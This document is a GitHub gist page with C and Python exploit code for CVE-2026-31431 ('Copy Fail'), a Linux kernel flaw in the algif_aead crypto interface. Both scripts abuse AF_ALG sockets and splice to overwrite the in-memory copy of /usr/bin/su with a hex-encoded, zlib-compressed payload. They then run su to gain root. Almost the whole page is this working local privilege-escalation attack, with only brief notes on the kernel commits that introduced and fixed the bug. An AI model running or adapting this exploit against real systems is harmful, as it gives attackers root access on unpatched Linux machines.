Skip to content

Instantly share code, notes, and snippets.

@Rtoax
Last active May 6, 2026 06:54
Show Gist options
  • Select an option

  • Save Rtoax/b9a1cad0587762541df817955f87bb22 to your computer and use it in GitHub Desktop.

Select an option

Save Rtoax/b9a1cad0587762541df817955f87bb22 to your computer and use it in GitHub Desktop.
CVE-2026-31431-Copy-Fail-with-C-and-Python
/**
* CVE-2026-31431 copy fail re-write by C based on python code
* ref: https://github.com/theori-io/copy-fail-CVE-2026-31431/tree/09e97bd8f1aa3868b720a7a12a60b1c365798e06
*
* vulnerability:
* cause by linux commit 72548b093ee3 ("crypto: algif_aead - copy AAD from src to dst")
* fixed by linux commit a664bf3d603d ("crypto: algif_aead - Revert to operating out-of-place")
*
* see also https://gist.github.com/Rtoax/b9a1cad0587762541df817955f87bb22
*/
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <zlib.h>
#include <linux/if_alg.h>
/* @out: need to free() */
size_t hex2bin(const char *hex, unsigned char **out)
{
size_t len = strlen(hex);
if (len % 2 != 0)
return 0;
size_t bin_len = len / 2;
unsigned char *bin = malloc(bin_len);
if (!bin)
return 0;
for (size_t i = 0; i < bin_len; i++) {
sscanf(hex + 2 * i, "%02hhx", &bin[i]);
}
*out = bin;
return bin_len;
}
int sock_alg(int sufd, int i, unsigned char *c)
{
int sockfd = socket(AF_ALG, SOCK_SEQPACKET, 0);
struct sockaddr_alg sa = {
.salg_family = AF_ALG,
.salg_type = "aead",
.salg_name = "authencesn(hmac(sha256),cbc(aes))"
};
if (bind(sockfd, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
perror("bind");
close(sockfd);
return 1;
}
unsigned char key_data[40];
unsigned char prefix[] = { 0x08, 0x00, 0x01, 0x00,
0x00, 0x00, 0x00, 0x10 };
memcpy(key_data, prefix, 8);
memset(key_data + 8, 0x30, 32);
if (setsockopt(sockfd, SOL_ALG, 1, key_data, 40) < 0) {
perror("setsockopt (opt 1)");
close(sockfd);
return 1;
}
if (setsockopt(sockfd, SOL_ALG, 5, NULL, 4) < 0) {
perror("setsockopt (opt 5)");
close(sockfd);
return 1;
}
int fd = accept(sockfd, NULL, NULL);
if (fd < 0) {
perror("accept");
close(sockfd);
return 1;
}
char data[8];
memcpy(data, "AAAA", 4);
memcpy(data + 4, c, 4);
struct iovec iov = { .iov_base = data, .iov_len = 8 };
/**
* WARNING: don't forgot initialize with zero, cause CMSG_NXTHDR() will
* check the next cmsg_len.
*/
char cmsg_buf[CMSG_SPACE(0) + CMSG_SPACE(20) + CMSG_SPACE(4)] = { 0 };
printf("size of cmsg_buf is %ld\n", sizeof(cmsg_buf));
printf("size of cmsghdr is %ld\n", sizeof(struct cmsghdr));
struct msghdr msg = {
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = cmsg_buf,
.msg_controllen = sizeof(cmsg_buf),
};
struct cmsghdr *cmsg1 = CMSG_FIRSTHDR(&msg);
cmsg1->cmsg_level = SOL_ALG;
cmsg1->cmsg_type = 3;
cmsg1->cmsg_len = CMSG_LEN(0);
struct cmsghdr *cmsg2 = CMSG_NXTHDR(&msg, cmsg1);
cmsg2->cmsg_level = SOL_ALG;
cmsg2->cmsg_type = 2;
cmsg2->cmsg_len = CMSG_LEN(20); // 1 + 19 = 20
unsigned char type2_data[20] = { 0x10 };
memcpy(CMSG_DATA(cmsg2), type2_data, 20);
struct cmsghdr *cmsg3 = CMSG_NXTHDR(&msg, cmsg2);
cmsg3->cmsg_level = SOL_ALG;
cmsg3->cmsg_type = 4;
cmsg3->cmsg_len = CMSG_LEN(4); // 1 + 3 = 4
unsigned char type4_data[4] = { 0x08 };
memcpy(CMSG_DATA(cmsg3), type4_data, 4);
if (sendmsg(sockfd, &msg, MSG_MORE) < 0) {
perror("sendmsg");
return 1;
}
int pipefd[2];
if (pipe(pipefd) < 0) {
perror("pipe");
return 1;
}
int r = pipefd[0], w = pipefd[1];
int o = i + 4;
loff_t off_in = 0;
if (splice(sufd, &off_in, w, NULL, o, 0) < 0) {
perror("splice fd->w");
close(r);
close(w);
return 1;
}
if (splice(r, NULL, sockfd, NULL, o, 0) < 0) {
perror("splice r->sockfd");
close(r);
close(w);
return 1;
}
close(r);
close(w);
char *dummy = malloc(8 + i);
if (dummy) {
recv(sockfd, dummy, 8 + i, 0);
free(dummy);
}
close(sockfd);
return 0;
}
int main(void)
{
int ret, i;
unsigned char *compressed = NULL;
unsigned char *decompressed = NULL;
int sufd;
size_t compressed_len;
uLongf decomp_len = 4096;
const char *hex_payload =
"78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3";
sufd = open("/usr/bin/su", O_RDONLY);
if (sufd == -1) {
perror("open");
}
compressed_len = hex2bin(hex_payload, &compressed);
if (!compressed_len) {
fprintf(stderr, "Hex conversion failed\n");
return 1;
}
printf("Compressed size: %zu bytes\n", compressed_len);
decompressed = malloc(decomp_len);
if (!decompressed) {
free(compressed);
return 1;
}
ret = uncompress(decompressed, &decomp_len, compressed, compressed_len);
if (ret == Z_BUF_ERROR) {
free(decompressed);
decompressed = malloc(decomp_len);
if (!decompressed) {
free(compressed);
return 1;
}
ret = uncompress(decompressed, &decomp_len, compressed,
compressed_len);
}
for (i = 0; i + 3 < decomp_len; i += 4) {
sock_alg(sufd, i, decompressed + i);
}
system("su");
close(sufd);
return 0;
}
#!/usr/bin/env python3
"""
CVE-2026-31431-Copy-Fail
refs: https://copy.fail/
https://github.com/theori-io/copy-fail-CVE-2026-31431
fork: https://github.com/Rtoax/copy-fail-CVE-2026-31431
re-write by C: https://gist.github.com/Rtoax/b9a1cad0587762541df817955f87bb22
vulnerability:
cause by linux commit 72548b093ee3 ("crypto: algif_aead - copy AAD from src to dst")
fixed by linux commit a664bf3d603d ("crypto: algif_aead - Revert to operating out-of-place")
"""
import os as g,zlib,socket as s
import os, ctypes
import sys
libc=ctypes.CDLL("libc.so.6", use_errno=True)
splice=libc.splice
splice.argtypes=[
ctypes.c_int, # fd_in
ctypes.POINTER(ctypes.c_int64), # off_in
ctypes.c_int, # fd_out
ctypes.POINTER(ctypes.c_int64), # off_out
ctypes.c_size_t, # len
ctypes.c_uint # flags
]
splice.restype=ctypes.c_ssize_t
""" only python >= 3.10 support os.splice() """
def splice_wrapper(fd_in, fd_out, nbytes, offset_src=None, offset_dst=None, flags=0):
off_in_ptr=None
off_out_ptr=None
if offset_src is not None:
off_in=ctypes.c_int64(offset_src)
off_in_ptr=ctypes.byref(off_in)
if offset_dst is not None:
off_out=ctypes.c_int64(offset_dst)
off_out_ptr=ctypes.byref(off_out)
ret=splice(fd_in, off_in_ptr, fd_out, off_out_ptr, nbytes, flags)
if ret < 0:
errno=ctypes.get_errno()
raise OSError(errno, os.strerror(errno))
return ret
def d(x):
return bytes.fromhex(x)
def c(f,t,c):
"""AF_ALG"""
a=s.socket(38,5,0);
a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));
"""SOL_ALG"""
h=279;
v=a.setsockopt;
v(h,1,d('0800010000000010'+'0'*64));
v(h,5,None,4);
u,_=a.accept();
o=t+4;
i=d('00');
u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);
r,w=g.pipe();
if hasattr(os, 'splice'):
n=g.splice;
else:
print("os.splice not found, using ctypes fallback")
n=splice_wrapper
n(f,w,o,offset_src=0);
n(r,u.fileno(),o)
try:
u.recv(8+t)
except:
0
f=g.open("/usr/bin/su",0);
i=0;
e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):
c(f,i,e[i:i+4]);
i+=4
g.system("su")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment